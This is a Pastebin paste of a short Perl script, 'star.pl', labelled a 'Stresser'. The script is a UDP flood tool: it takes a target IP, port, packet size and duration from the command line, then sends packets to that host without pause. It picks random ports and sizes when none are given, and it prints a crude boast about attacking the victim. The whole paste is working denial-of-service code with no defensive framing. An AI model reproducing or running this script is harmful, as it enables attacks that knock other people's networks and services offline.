Advertisement
TP2K1

star.pl

Jul 18th, 2015
1,089
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.72 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. # Stresser<----
  5. ##
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18. print " port " . ($port ? $port : "random") . " " .
  19. ($size ? "$size-byte" : "") . " you fucked them in the ass " .
  20. ($time ? " for $time seconds" : "time") . "\n";
  21. print "Break with Ctrl-C\n" unless $time;
  22.  
  23. for (;time() <= $endtime;) {
  24. $psize = $size ? $size : int(rand(1500000-64)+64) ;
  25. $pport = $port ? $port : int(rand(1500000))+1;
  26.  
  27. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement